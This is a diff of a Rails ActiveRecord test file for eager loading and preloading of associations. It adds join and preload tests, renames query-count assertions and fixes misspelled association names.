+    rating = Rating.eager_load(:taggings_without_tag).first
+    assert_equal [taggings(:normal_comment_rating)], rating.taggings_without_tag
+  end
+
+  def test_loading_association_with_string_joins
+    rating = Rating.first
+    assert_equal [taggings(:normal_comment_rating)], rating.taggings_with_no_tag
+
+    rating = Rating.preload(:taggings_with_no_tag).first
+    assert_equal [taggings(:normal_comment_rating)], rating.taggings_with_no_tag
+
+    rating = Rating.eager_load(:taggings_with_no_tag).first
+    assert_equal [taggings(:normal_comment_rating)], rating.taggings_with_no_tag
+  end
+
+  def test_loading_with_scope_including_joins
+    member = Member.first
+    assert_equal members(:groucho), member
+    assert_equal clubs(:boring_club), member.general_club
+
+    member = Member.preload(:general_club).first
+    assert_equal members(:groucho), member
+    assert_equal clubs(:boring_club), member.general_club
+
+    member = Member.eager_load(:general_club).first
+    assert_equal members(:groucho), member
+    assert_equal clubs(:boring_club), member.general_club
+  end
+
+  def test_loading_association_with_same_table_joins
+    super_memberships = [memberships(:super_membership_of_boring_club)]
+
+    member = Member.joins(:favorite_memberships).first
+    assert_equal members(:groucho), member
+    assert_equal super_memberships, member.super_memberships
+
+    member = Member.joins(:favorite_memberships).preload(:super_memberships).first
+    assert_equal members(:groucho), member
+    assert_equal super_memberships, member.super_memberships
+
+    member = Member.joins(:favorite_memberships).eager_load(:super_memberships).first
+    assert_equal members(:groucho), member
+    assert_equal super_memberships, member.super_memberships
+  end
+
+  def test_loading_association_with_intersection_joins
+    member = Member.joins(:current_membership).first
+    assert_equal members(:groucho), member
+    assert_equal clubs(:boring_club), member.club
+    assert_equal memberships(:membership_of_boring_club), member.current_membership
+
+    member = Member.joins(:current_membership).preload(:club, :current_membership).first
+    assert_equal members(:groucho), member
+    assert_equal clubs(:boring_club), member.club
+    assert_equal memberships(:membership_of_boring_club), member.current_membership
+
+    member = Member.joins(:current_membership).eager_load(:club, :current_membership).first
+    assert_equal members(:groucho), member
+    assert_equal clubs(:boring_club), member.club
+    assert_equal memberships(:membership_of_boring_club), member.current_membership
+  end
+
+  def test_loading_associations_dont_leak_instance_state
+    assertions = ->(firm) {
+      assert_equal companies(:first_firm), firm
+
+      assert_predicate firm.association(:readonly_account), :loaded?
+      assert_predicate firm.association(:accounts), :loaded?
+
+      assert_equal accounts(:signals37), firm.readonly_account
+      assert_equal [accounts(:signals37)], firm.accounts
+
+      assert_predicate firm.readonly_account, :readonly?
+      assert firm.accounts.none?(&:readonly?)
+    }
+
+    assertions.call(Firm.preload(:readonly_account, :accounts).first)
+    assertions.call(Firm.eager_load(:readonly_account, :accounts).first)
+  end
+
   def test_with_ordering
     list = Post.all.merge!(includes: :comments, order: "posts.id DESC").to_a
     [:other_by_mary, :other_by_bob, :misc_by_mary, :misc_by_bob, :eager_other,
@@ -90,6 +206,43 @@ def test_eager_loaded_has_one_association_with_references_does_not_run_additiona
     assert_no_queries { authors.map(&:post) }
   end
 
+  def test_eager_loaded_has_one_association_without_primary_key
+    pirate = pirates(:redbeard)
+    attacker_matey = pirate.attacker_matey
+    eager_loaded = Pirate.eager_load(:attacker_matey).where(id: pirate).first
+
+    assert_no_queries do
+      assert_equal attacker_matey.attributes, eager_loaded.attacker_matey.attributes
+    end
+  end
+
+  def test_eager_loaded_has_many_association_without_primary_key
+    pirate = pirates(:blackbeard)
+    mateys = pirate.mateys.to_a
+    eager_loaded = Pirate.eager_load(:mateys).where(id: pirate).first
+
+    assert_not_empty mateys
+    assert_no_queries do
+      assert_equal mateys.map(&:attributes), eager_loaded.mateys.map(&:attributes)
+    end
+  end
+
+  def test_type_cast_in_where_references_association_name
+    parent = comments(:greetings)
+    child = parent.children.create!(label: "child", body: "hi", post_id: parent.post_id)
+
+    comment = Comment.includes(:children).where("children.label": "child").last
+
+    assert_equal parent, comment
+    assert_equal [child], comment.children
+  end
+
+  def test_attribute_alias_in_where_references_association_name
+    firm = Firm.includes(:clients).where("clients.new_name": "Summit").last
+    assert_equal companies(:first_firm), firm
+    assert_equal [companies(:first_client)], firm.clients
+  end
+
   def test_calculate_with_string_in_from_and_eager_loading
     assert_equal 10, Post.from("authors, posts").eager_load(:comments).where("posts.author_id = authors.id").count
   end
@@ -113,61 +266,6 @@ def test_duplicate_middle_objects
     end
   end
 
-  def test_preloading_has_many_in_multiple_queries_with_more_ids_than_database_can_handle
-    assert_called(Comment.connection, :in_clause_length, returns: 5) do
-      posts = Post.all.merge!(includes: :comments).to_a
-      assert_equal 11, posts.size
-    end
-  end
-
-  def test_preloading_has_many_in_one_queries_when_database_has_no_limit_on_ids_it_can_handle
-    assert_called(Comment.connection, :in_clause_length, returns: nil) do
-      posts = Post.all.merge!(includes: :comments).to_a
-      assert_equal 11, posts.size
-    end
-  end
-
-  def test_preloading_habtm_in_multiple_queries_with_more_ids_than_database_can_handle
-    assert_called(Comment.connection, :in_clause_length, times: 2, returns: 5) do
-      posts = Post.all.merge!(includes: :categories).to_a
-      assert_equal 11, posts.size
-    end
-  end
-
-  def test_preloading_habtm_in_one_queries_when_database_has_no_limit_on_ids_it_can_handle
-    assert_called(Comment.connection, :in_clause_length, times: 2, returns: nil) do
-      posts = Post.all.merge!(includes: :categories).to_a
-      assert_equal 11, posts.size
-    end
-  end
-
-  def test_load_associated_records_in_one_query_when_adapter_has_no_limit
-    assert_called(Comment.connection, :in_clause_length, returns: nil) do
-      post = posts(:welcome)
-      assert_queries(2) do
-        Post.includes(:comments).where(id: post.id).to_a
-      end
-    end
-  end
-
-  def test_load_associated_records_in_several_queries_when_many_ids_passed
-    assert_called(Comment.connection, :in_clause_length, returns: 1) do
-      post1, post2 = posts(:welcome), posts(:thinking)
-      assert_queries(3) do
-        Post.includes(:comments).where(id: [post1.id, post2.id]).to_a
-      end
-    end
-  end
-
-  def test_load_associated_records_in_one_query_when_a_few_ids_passed
-    assert_called(Comment.connection, :in_clause_length, returns: 3) do
-      post = posts(:welcome)
-      assert_queries(2) do
-        Post.includes(:comments).where(id: post.id).to_a
-      end
-    end
-  end
-
   def test_including_duplicate_objects_from_belongs_to
     popular_post = Post.create!(title: "foo", body: "I like cars!")
     comment = popular_post.comments.create!(body: "lol")
@@ -201,12 +299,12 @@ def test_associations_loaded_for_all_records
     second_category = Category.create! name: "Second!", posts: [post]
 
     categories = Category.where(id: [first_category.id, second_category.id]).includes(posts: :special_comments)
-    assert_equal categories.map { |category| category.posts.first.special_comments.loaded? }, [true, true]
+    assert_equal [true, true], categories.map { |category| category.posts.first.special_comments.loaded? }
   end
 
   def test_finding_with_includes_on_has_many_association_with_same_include_includes_only_once
     author_id = authors(:david).id
-    author = assert_queries(3) { Author.all.merge!(includes: { posts_with_comments: :comments }).find(author_id) } # find the author, then find the posts, then find the comments
+    author = assert_queries_count(3) { Author.all.merge!(includes: { posts_with_comments: :comments }).find(author_id) } # find the author, then find the posts, then find the comments
     author.posts_with_comments.each do |post_with_comments|
       assert_equal post_with_comments.comments.length, post_with_comments.comments.count
       assert_nil post_with_comments.comments.to_a.uniq!
@@ -217,7 +315,7 @@ def test_finding_with_includes_on_has_one_association_with_same_include_includes
     author = authors(:david)
     post = author.post_about_thinking_with_last_comment
     last_comment = post.last_comment
-    author = assert_queries(3) { Author.all.merge!(includes: { post_about_thinking_with_last_comment: :last_comment }).find(author.id) } # find the author, then find the posts, then find the comments
+    author = assert_queries_count(3) { Author.all.merge!(includes: { post_about_thinking_with_last_comment: :last_comment }).find(author.id) } # find the author, then find the posts, then find the comments
     assert_no_queries do
       assert_equal post, author.post_about_thinking_with_last_comment
       assert_equal last_comment, author.post_about_thinking_with_last_comment.last_comment
@@ -228,7 +326,7 @@ def test_finding_with_includes_on_belongs_to_association_with_same_include_inclu
     post = posts(:welcome)
     author = post.author
     author_address = author.author_address
-    post = assert_queries(3) { Post.all.merge!(includes: { author_with_address: :author_address }).find(post.id) } # find the post, then find the author, then find the address
+    post = assert_queries_count(3) { Post.all.merge!(includes: { author_with_address: :author_address }).find(post.id) } # find the post, then find the author, then find the address
     assert_no_queries do
       assert_equal author, post.author_with_address
       assert_equal author_address, post.author_with_address.author_address
@@ -238,7 +336,7 @@ def test_finding_with_includes_on_belongs_to_association_with_same_include_inclu
   def test_finding_with_includes_on_null_belongs_to_association_with_same_include_includes_only_once
     post = posts(:welcome)
     post.update!(author: nil)
-    post = assert_queries(1) { Post.all.merge!(includes: { author_with_address: :author_address }).find(post.id) }
+    post = assert_queries_count(1) { Post.all.merge!(includes: { author_with_address: :author_address }).find(post.id) }
     # find the post, then find the author which is null so no query for the author or address
     assert_no_queries do
       assert_nil post.author_with_address
@@ -248,7 +346,7 @@ def test_finding_with_includes_on_null_belongs_to_association_with_same_include_
   def test_finding_with_includes_on_null_belongs_to_polymorphic_association
     sponsor = sponsors(:moustache_club_sponsor_for_groucho)
     sponsor.update!(sponsorable: nil)
-    sponsor = assert_queries(1) { Sponsor.all.merge!(includes: :sponsorable).find(sponsor.id) }
+    sponsor = assert_queries_count(1) { Sponsor.all.merge!(includes: :sponsorable).find(sponsor.id) }
     assert_no_queries do
       assert_nil sponsor.sponsorable
     end
@@ -257,7 +355,7 @@ def test_finding_with_includes_on_null_belongs_to_polymorphic_association
   def test_finding_with_includes_on_empty_polymorphic_type_column
     sponsor = sponsors(:moustache_club_sponsor_for_groucho)
     sponsor.update!(sponsorable_type: "", sponsorable_id: nil) # sponsorable_type column might be declared NOT NULL
-    sponsor = assert_queries(1) do
+    sponsor = assert_queries_count(1) do
       assert_nothing_raised { Sponsor.all.merge!(includes: :sponsorable).find(sponsor.id) }
     end
     assert_no_queries do
@@ -271,10 +369,7 @@ def test_loading_from_an_association
   end
 
   def test_loading_from_an_association_that_has_a_hash_of_conditions
-    assert_nothing_raised do
-      Author.all.merge!(includes: :hello_posts_with_hash_conditions).to_a
-    end
-    assert !Author.all.merge!(includes: :hello_posts_with_hash_conditions).find(authors(:david).id).hello_posts.empty?
+    assert_not_empty Author.all.merge!(includes: :hello_posts_with_hash_conditions).find(authors(:david).id).hello_posts
   end
 
   def test_loading_with_no_associations
@@ -284,7 +379,7 @@ def test_loading_with_no_associations
   # Regression test for 21c75e5
   def test_nested_loading_does_not_raise_exception_when_association_does_not_exist
     assert_nothing_raised do
-      Post.all.merge!(includes: { author: :author_addresss }).find(posts(:authorless).id)
+      Post.all.merge!(includes: { author: :non_existing_association }).find(posts(:authorless).id)
     end
   end
 
@@ -347,7 +442,7 @@ def test_eager_association_loading_with_belongs_to_and_foreign_keys
 
   def test_eager_association_loading_with_belongs_to
     comments = Comment.all.merge!(includes: :post).to_a
-    assert_equal 11, comments.length
+    assert_equal 12, comments.length
     titles = comments.map { |c| c.post.title }
     assert_includes titles, posts(:welcome).title
     assert_includes titles, posts(:sti_post_and_comments).title
@@ -402,22 +497,20 @@ def test_eager_association_loading_with_belongs_to_and_conditions_hash
   end
 
   def test_eager_association_loading_with_belongs_to_and_conditions_string_with_quoted_table_name
-    quoted_posts_id = Comment.connection.quote_table_name("posts") + "." + Comment.connection.quote_column_name("id")
     assert_nothing_raised do
-      Comment.includes(:post).references(:posts).where("#{quoted_posts_id} = ?", 4)
+      Comment.includes(:post).references(:posts).where("#{quote_table_name("posts.id")} = ?", 4)
     end
   end
 
   def test_eager_association_loading_with_belongs_to_and_order_string_with_unquoted_table_name
     assert_nothing_raised do
-      Comment.all.merge!(includes: :post, order: "posts.id").to_a
+      Comment.includes(:post).references(:posts).order("posts.id")
     end
   end
 
   def test_eager_association_loading_with_belongs_to_and_order_string_with_quoted_table_name
-    quoted_posts_id = Comment.connection.quote_table_name("posts") + "." + Comment.connection.quote_column_name("id")
     assert_nothing_raised do
-      Comment.includes(:post).references(:posts).order(quoted_posts_id)
+      Comment.includes(:post).references(:posts).order(quote_table_name("posts.id"))
     end
   end
 
@@ -445,9 +538,9 @@ def test_eager_load_belongs_to_quotes_table_and_column_names
   end
 
   def test_eager_load_has_one_quotes_table_and_column_names
-    michael = Person.all.merge!(includes: :favourite_reference).find(people(:michael).id)
+    michael = Person.all.merge!(includes: :favorite_reference).find(people(:michael).id)
     references(:michael_unicyclist)
-    assert_no_queries { assert_equal references(:michael_unicyclist), michael.favourite_reference }
+    assert_no_queries { assert_equal references(:michael_unicyclist), michael.favorite_reference }
   end
 
   def test_eager_load_has_many_quotes_table_and_column_names
@@ -477,7 +570,7 @@ def test_string_id_column_joins
 
     Subscription.create!(subscriber_id: "PL", book_id: b.id)
     s.reload
-    s.book_ids = s.book_ids
+    assert_equal [b.id], s.book_ids
   end
 
   def test_eager_load_has_many_through_with_string_keys
@@ -520,6 +613,29 @@ def test_eager_with_has_many_through_an_sti_join_model
     assert_equal [comments(:does_it_hurt)], assert_no_queries { author.special_post_comments }
   end
 
+  def test_preloading_with_has_one_through_an_sti_with_after_initialize
+    author_a = Author.create!(name: "A")
+    author_b = Author.create!(name: "B")
+    post_a = StiPost.create!(author: author_a, title: "TITLE", body: "BODY")
+    post_b = SpecialPost.create!(author: author_b, title: "TITLE", body: "BODY")
+    comment_a = SpecialComment.create!(post: post_a, body: "TEST")
+    comment_b = SpecialComment.create!(post: post_b, body: "TEST")
+    reset_callbacks(StiPost, :initialize) do
+      StiPost.after_initialize { author }
+      SpecialComment.where(id: [comment_a.id, comment_b.id]).includes(:author).each do |comment|
+        assert comment.author
+      end
+    end
+  end
+
+  def test_preloading_has_many_through_with_implicit_source
+    authors = Author.includes(:very_special_comments).to_a.sort_by(&:id)
+    assert_no_queries do
+      special_comment_authors = authors.map { |author| [author.name, author.very_special_comments.size] }
+      assert_equal [["David", 1], ["Mary", 0], ["Bob", 0]], special_comment_authors
+    end
+  end
+
   def test_eager_with_has_many_through_an_sti_join_model_with_conditions_on_both
     author = Author.all.merge!(includes: :special_nonexistent_post_comments, order: "authors.id").first
     assert_equal [], author.special_nonexistent_post_comments
@@ -573,10 +689,10 @@ def test_eager_with_has_many_and_limit_and_conditions_array
   end
 
   def test_eager_with_has_many_and_limit_and_conditions_array_on_the_eagers
-    posts = Post.includes(:author, :comments).limit(2).references(:author).where("authors.name = ?", "David")
+    posts = Post.includes(:author, :comments).limit(2).references("author").where("authors.name = ?", "David")
     assert_equal 2, posts.size
 
-    count = Post.includes(:author, :comments).limit(2).references(:author).where("authors.name = ?", "David").count
+    count = Post.includes(:author, :comments).limit(2).references("author").where("authors.name = ?", "David").count
     assert_equal posts.size, count
   end
 
@@ -586,18 +702,18 @@ def test_eager_with_has_many_and_limit_and_high_offset
   end
 
   def test_eager_with_has_many_and_limit_and_high_offset_and_multiple_array_conditions
-    assert_queries(1) do
+    assert_queries_count(1) do
       posts = Post.references(:authors, :comments).
         merge(includes: [ :author, :comments ], limit: 2, offset: 10,
-          where: [ "authors.name = ? and comments.body = ?", "David", "go crazy" ]).to_a
+          where: [ "authors.name = ? and comments.body = ?", "David", "go wild" ]).to_a
       assert_equal 0, posts.size
     end
   end
 
   def test_eager_with_has_many_and_limit_and_high_offset_and_multiple_hash_conditions
-    assert_queries(1) do
+    assert_queries_count(1) do
       posts = Post.all.merge!(includes: [ :author, :comments ], limit: 2, offset: 10,
-        where: { "authors.name" => "David", "comments.body" => "go crazy" }).to_a
+        where: { "authors.name" => "David", "comments.body" => "go wild" }).to_a
       assert_equal 0, posts.size
     end
   end
@@ -647,7 +763,7 @@ def test_has_and_belongs_to_many_should_not_instantiate_same_records_multiple_ti
     post1 = general.posts.to_a.find { |p| p == welcome }
     post2 = technology.posts.to_a.find { |p| p == welcome }
 
-    assert_equal post1.object_id, post2.object_id
+    assert_same post1, post2
   end
 
   def test_eager_with_has_many_and_limit_and_conditions_on_the_eagers
@@ -675,7 +791,6 @@ def test_eager_with_has_many_and_limit_and_scoped_conditions_on_the_eagers
       .where("comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment'")
       .references(:comments)
       .scoping do
-
       posts = authors(:david).posts.limit(2).to_a
       assert_equal 2, posts.size
     end
@@ -684,7 +799,6 @@ def test_eager_with_has_many_and_limit_and_scoped_conditions_on_the_eagers
       .where("authors.name = 'David' AND (comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment')")
       .references(:authors, :comments)
       .scoping do
-
       count = Post.limit(2).count
       assert_equal count, posts.size
     end
@@ -700,7 +814,8 @@ def test_eager_association_loading_with_habtm
   end
 
   def test_eager_with_inheritance
-    SpecialPost.all.merge!(includes: [ :comments ]).to_a
+    posts = SpecialPost.all.merge!(includes: [ :comments ]).to_a
+    assert_equal 1, posts.size
   end
 
   def test_eager_has_one_with_association_inheritance
@@ -742,22 +857,29 @@ def test_eager_with_invalid_association_reference
     e = assert_raise(ActiveRecord::AssociationNotFoundError) {
       Post.all.merge!(includes: :monkeys).find(6)
     }
-    assert_equal("Association named 'monkeys' was not found on Post; perhaps you misspelled it?", e.message)
+    assert_match(/Association named 'monkeys' was not found on Post; perhaps you misspelled it\?/, e.message)
 
     e = assert_raise(ActiveRecord::AssociationNotFoundError) {
       Post.all.merge!(includes: [ :monkeys ]).find(6)
     }
-    assert_equal("Association named 'monkeys' was not found on Post; perhaps you misspelled it?", e.message)
+    assert_match(/Association named 'monkeys' was not found on Post; perhaps you misspelled it\?/, e.message)
 
     e = assert_raise(ActiveRecord::AssociationNotFoundError) {
       Post.all.merge!(includes: [ "monkeys" ]).find(6)
     }
-    assert_equal("Association named 'monkeys' was not found on Post; perhaps you misspelled it?", e.message)
+    assert_match(/Association named 'monkeys' was not found on Post; perhaps you misspelled it\?/, e.message)
 
     e = assert_raise(ActiveRecord::AssociationNotFoundError) {
       Post.all.merge!(includes: [ :monkeys, :elephants ]).find(6)
     }
-    assert_equal("Association named 'monkeys' was not found on Post; perhaps you misspelled it?", e.message)
+    assert_match(/Association named 'monkeys' was not found on Post; perhaps you misspelled it\?/, e.message)
+  end
+
+  test "exceptions have suggestions for fix" do
+    error = assert_raise(ActiveRecord::AssociationNotFoundError) {
+      Post.all.merge!(includes: :taggingz).find(6)
+    }
+    assert_match "Did you mean?  tagging", error.detailed_message
   end
 
   def test_eager_has_many_through_with_order
@@ -769,7 +891,7 @@ def test_eager_has_many_through_with_order
     Tagging.create!(taggable_type: "Post", taggable_id: post2.id, tag: tag)
 
     tag_with_includes = OrderedTag.includes(:tagged_posts).find(tag.id)
-    assert_equal(tag_with_includes.taggings.map(&:taggable).map(&:title), tag_with_includes.tagged_posts.map(&:title))
+    assert_equal tag_with_includes.ordered_taggings.map(&:taggable).map(&:title), tag_with_includes.tagged_posts.map(&:title)
   end
 
   def test_eager_has_many_through_multiple_with_order
@@ -851,10 +973,6 @@ def test_eager_with_default_scope_as_callable
     end
   end
 
-  def find_all_ordered(className, include = nil)
-    className.all.merge!(order: "#{className.table_name}.#{className.primary_key}", includes: include).to_a
-  end
-
   def test_limited_eager_with_order
     assert_equal(
       posts(:thinking, :sti_comments),
@@ -908,11 +1026,6 @@ def test_polymorphic_type_condition
   end
 
   def test_eager_with_multiple_associations_with_same_table_has_many_and_habtm
-    # Eager includes of has many and habtm associations aren't necessarily sorted in the same way
-    def assert_equal_after_sort(item1, item2, item3 = nil)
-      assert_equal(item1.sort { |a, b| a.id <=> b.id }, item2.sort { |a, b| a.id <=> b.id })
-      assert_equal(item3.sort { |a, b| a.id <=> b.id }, item2.sort { |a, b| a.id <=> b.id }) if item3
-    end
     # Test regular association, association with conditions, association with
     # STI, and association with conditions assured not to be true
     post_types = [:posts, :other_posts, :special_posts]
@@ -929,7 +1042,7 @@ def assert_equal_after_sort(item1, item2, item3 = nil)
           d3 = find_all_ordered(className, [:posts, post_type])
           assert_equal(d1[i], d3[i])
           assert_equal_after_sort(d1[i].posts, d3[i].posts)
-          assert_equal_after_sort(d1[i].send(post_type), d2[i].send(post_type), d3[i].send(post_type))
+          assert_equal_after_sort(d1[i].public_send(post_type), d2[i].public_send(post_type), d3[i].public_send(post_type))
         end
       end
     end
@@ -955,10 +1068,10 @@ def test_eager_with_multiple_associations_with_same_table_belongs_to
     d1.each_index do |i|
       assert_equal(d1[i], d2[i])
       firm_types.each do |type|
-        if (expected = d1[i].send(type)).nil?
-          assert_nil(d2[i].send(type))
+        if (expected = d1[i].public_send(type)).nil?
+          assert_nil(d2[i].public_send(type))
         else
-          assert_equal(expected, d2[i].send(type))
+          assert_equal(expected, d2[i].public_send(type))
         end
       end
     end
@@ -968,8 +1081,8 @@ def test_eager_with_valid_association_as_string_not_symbol
   end
 
   def test_eager_with_floating_point_numbers
-    assert_queries(2) do
-      # Before changes, the floating point numbers will be interpreted as table names and will cause this to run in one query
+    assert_queries_count(2) do
+      # Before changes, the floating-point numbers will be interpreted as table names and will cause this to run in one query
       Comment.all.merge!(where: "123.456 = 123.456", includes: :post).to_a
     end
   end
@@ -1023,43 +1136,23 @@ def test_count_with_include
   end
 
   def test_association_loading_notification
-    notifications = messages_for("instantiation.active_record") do
+    notification = assert_notification("instantiation.active_record", class_name: Developer.name) do
       Developer.all.merge!(includes: "projects", where: { "developers_projects.access_level" => 1 }, limit: 5).to_a.size
     end
 
-    message = notifications.first
-    payload = message.last
     count = Developer.all.merge!(includes: "projects", where: { "developers_projects.access_level" => 1 }, limit: 5).to_a.size
 
     # eagerloaded row count should be greater than just developer count
-    assert_operator payload[:record_count], :>, count
-    assert_equal Developer.name, payload[:class_name]
+    assert_operator notification.payload[:record_count], :>, count
   end
 
   def test_base_messages
-    notifications = messages_for("instantiation.active_record") do
-      Developer.all.to_a
-    end
-    message = notifications.first
-    payload = message.last
-
-    assert_equal Developer.all.to_a.count, payload[:record_count]
-    assert_equal Developer.name, payload[:class_name]
-  end
-
-  def messages_for(name)
-    notifications = []
-    ActiveSupport::Notifications.subscribe(name) do |*args|
-      notifications << args
-    end
-    yield
-    notifications
-  ensure
-    ActiveSupport::Notifications.unsubscribe(name)
+    expected_payload = { record_count: Developer.all.to_a.count, class_name: Developer.name }
+    assert_notification("instantiation.active_record", expected_payload) { Developer.all.to_a }
   end
 
   def test_load_with_sti_sharing_association
-    assert_queries(2) do #should not do 1 query per subclass
+    assert_queries_count(2) do # should not do 1 query per subclass
       Comment.includes(:post).to_a
     end
   end
@@ -1079,32 +1172,26 @@ def test_order_on_join_table_with_include_and_limit
   end
 
   def test_eager_loading_with_order_on_joined_table_preloads
-    posts = assert_queries(2) do
+    posts = assert_queries_count(2) do
       Post.all.merge!(joins: :comments, includes: :author, order: "comments.id DESC").to_a
     end
-    assert_equal posts(:eager_other), posts[1]
-    assert_equal authors(:mary), assert_no_queries { posts[1].author }
+    assert_equal posts(:eager_other), posts[2]
+    assert_equal authors(:mary), assert_no_queries { posts[2].author }
   end
 
   def test_eager_loading_with_conditions_on_joined_table_preloads
-    posts = assert_queries(2) do
-      Post.all.merge!(select: "distinct posts.*", includes: :author, joins: [:comments], where: "comments.body like 'Thank you%'", order: "posts.id").to_a
-    end
-    assert_equal [posts(:welcome)], posts
-    assert_equal authors(:david), assert_no_queries { posts[0].author }
-
-    posts = assert_queries(2) do
+    posts = assert_queries_count(2) do
       Post.all.merge!(select: "distinct posts.*", includes: :author, joins: [:comments], where: "comments.body like 'Thank you%'", order: "posts.id").to_a
     end
     assert_equal [posts(:welcome)], posts
     assert_equal authors(:david), assert_no_queries { posts[0].author }
 
-    posts = assert_queries(2) do
+    posts = assert_queries_count(2) do
       Post.all.merge!(includes: :author, joins: { taggings: :tag }, where: "tags.name = 'General'", order: "posts.id").to_a
     end
     assert_equal posts(:welcome, :thinking), posts
 
-    posts = assert_queries(2) do
+    posts = assert_queries_count(2) do
       Post.all.merge!(includes: :author, joins: { taggings: { tag: :taggings } }, where: "taggings_tags.super_tag_id=2", order: "posts.id").to_a
     end
     assert_equal posts(:welcome, :thinking), posts
@@ -1123,13 +1210,13 @@ def test_preload_has_many_with_association_condition_and_default_scope
   end
 
   def test_eager_loading_with_conditions_on_string_joined_table_preloads
-    posts = assert_queries(2) do
+    posts = assert_queries_count(2) do
       Post.all.merge!(select: "distinct posts.*", includes: :author, joins: "INNER JOIN comments on comments.post_id = posts.id", where: "comments.body like 'Thank you%'", order: "posts.id").to_a
     end
     assert_equal [posts(:welcome)], posts
     assert_equal authors(:david), assert_no_queries { posts[0].author }
 
-    posts = assert_queries(2) do
+    posts = assert_queries_count(2) do
       Post.all.merge!(select: "distinct posts.*", includes: :author, joins: ["INNER JOIN comments on comments.post_id = posts.id"], where: "comments.body like 'Thank you%'", order: "posts.id").to_a
     end
     assert_equal [posts(:welcome)], posts
@@ -1137,15 +1224,15 @@ def test_eager_loading_with_conditions_on_string_joined_table_preloads
   end
 
   def test_eager_loading_with_select_on_joined_table_preloads
-    posts = assert_queries(2) do
+    posts = assert_queries_count(2) do
       Post.all.merge!(select: "posts.*, authors.name as author_name", includes: :comments, joins: :author, order: "posts.id").to_a
     end
     assert_equal "David", posts[0].author_name
-    assert_equal posts(:welcome).comments, assert_no_queries { posts[0].comments }
+    assert_equal posts(:welcome).comments.sort_by(&:id), assert_no_queries { posts[0].comments.sort_by(&:id) }
   end
 
   def test_eager_loading_with_conditions_on_join_model_preloads
-    authors = assert_queries(2) do
+    authors = assert_queries_count(2) do
       Author.all.merge!(includes: :author_address, joins: :comments, where: "posts.title like 'Welcome%'").to_a
     end
     assert_equal authors(:david), authors[0]
@@ -1153,8 +1240,8 @@ def test_eager_loading_with_conditions_on_join_model_preloads
   end
 
   def test_preload_belongs_to_uses_exclusive_scope
-    people = Person.males.merge(includes: :primary_contact).to_a
-    assert_not_equal people.length, 0
+    people = Person.males.includes(:primary_contact).to_a
+    assert_equal 2, people.length
     people.each do |person|
       assert_no_queries { assert_not_nil person.primary_contact }
       assert_equal Person.find(person.id).primary_contact, person.primary_contact
@@ -1163,27 +1250,23 @@ def test_preload_belongs_to_uses_exclusive_scope
 
   def test_preload_has_many_uses_exclusive_scope
     people = Person.males.includes(:agents).to_a
+    assert_equal 2, people.length
     people.each do |person|
-      assert_equal Person.find(person.id).agents, person.agents
+      assert_equal Person.find(person.id).agents.sort_by(&:id), person.agents.sort_by(&:id)
     end
   end
 
   def test_preload_has_many_using_primary_key
-    expected = Firm.first.clients_using_primary_key.to_a
+    expected = Firm.first.clients_using_primary_key.sort_by(&:id)
     firm = Firm.includes(:clients_using_primary_key).first
     assert_no_queries do
-      assert_equal expected, firm.clients_using_primary_key
+      assert_equal expected, firm.clients_using_primary_key.sort_by(&:id)
     end
   end
 
   def test_include_has_many_using_primary_key
     expected = Firm.find(1).clients_using_primary_key.sort_by(&:name)
-    # Oracle adapter truncates alias to 30 characters
-    if current_adapter?(:OracleAdapter)
-      firm = Firm.all.merge!(includes: :clients_using_primary_key, order: "clients_using_primary_keys_companies"[0, 30] + ".name").find(1)
-    else
-      firm = Firm.all.merge!(includes: :clients_using_primary_key, order: "clients_using_primary_keys_companies.name").find(1)
-    end
+    firm = Firm.all.merge!(includes: :clients_using_primary_key, order: "clients_using_primary_keys_companies.name").find(1)
     assert_no_queries do
       assert_equal expected, firm.clients_using_primary_key
     end
@@ -1208,22 +1291,24 @@ def test_include_has_one_using_primary_key
   def test_preloading_empty_belongs_to
     c = Client.create!(name: "Foo", client_of: Company.maximum(:id) + 1)
 
-    client = assert_queries(2) { Client.preload(:firm).find(c.id) }
+    client = assert_queries_count(2) { Client.preload(:firm).find(c.id) }
     assert_no_queries { assert_nil client.firm }
+    assert_equal c.client_of, client.client_of
   end
 
   def test_preloading_empty_belongs_to_polymorphic
     t = Tagging.create!(taggable_type: "Post", taggable_id: Post.maximum(:id) + 1, tag: tags(:general))
 
-    tagging = assert_queries(2) { Tagging.preload(:taggable).find(t.id) }
+    tagging = assert_queries_count(2) { Tagging.preload(:taggable).find(t.id) }
     assert_no_queries { assert_nil tagging.taggable }
+    assert_equal t.taggable_id, tagging.taggable_id
   end
 
   def test_preloading_through_empty_belongs_to
     c = Client.create!(name: "Foo", client_of: Company.maximum(:id) + 1)
 
-    client = assert_queries(2) { Client.preload(:accounts).find(c.id) }
-    assert_no_queries { assert client.accounts.empty? }
+    client = assert_queries_count(2) { Client.preload(:accounts).find(c.id) }
+    assert_no_queries { assert_predicate client.accounts, :empty? }
   end
 
   def test_preloading_has_many_through_with_distinct
@@ -1237,33 +1322,33 @@ def test_preloading_has_one_using_reorder
       def self.name; "TempAuthor"; end
       self.table_name = "authors"
       has_one :post, class_name: "PostWithDefaultScope", foreign_key: :author_id
-      has_one :reorderd_post, -> { reorder(title: :desc) }, class_name: "PostWithDefaultScope", foreign_key: :author_id
+      has_one :reordered_post, -> { reorder(title: :desc) }, class_name: "PostWithDefaultScope", foreign_key: :author_id
     end
 
     author = klass.first
     # PRECONDITION: make sure ordering results in different results
-    assert_not_equal author.post, author.reorderd_post
+    assert_not_equal author.post, author.reordered_post
 
-    preloaded_reorderd_post = klass.preload(:reorderd_post).first.reorderd_post
+    preloaded_reordered_post = klass.preload(:reordered_post).first.reordered_post
 
-    assert_equal author.reorderd_post, preloaded_reorderd_post
-    assert_equal Post.order(title: :desc).first.title, preloaded_reorderd_post.title
+    assert_equal author.reordered_post, preloaded_reordered_post
+    assert_equal Post.order(title: :desc).first.title, preloaded_reordered_post.title
   end
 
   def test_preloading_polymorphic_with_custom_foreign_type
     sponsor = sponsors(:moustache_club_sponsor_for_groucho)
     groucho = members(:groucho)
 
-    sponsor = assert_queries(2) {
+    sponsor = assert_queries_count(2) {
       Sponsor.includes(:thing).where(id: sponsor.id).first
     }
     assert_no_queries { assert_equal groucho, sponsor.thing }
   end
 
   def test_joins_with_includes_should_preload_via_joins
-    post = assert_queries(1) { Post.includes(:comments).joins(:comments).order("posts.id desc").to_a.first }
+    post = assert_queries_count(1) { Post.includes(:comments).joins(:comments).order("posts.id desc").to_a.first }
 
-    assert_queries(0) do
+    assert_no_queries do
       assert_not_equal 0, post.comments.to_a.count
     end
   end
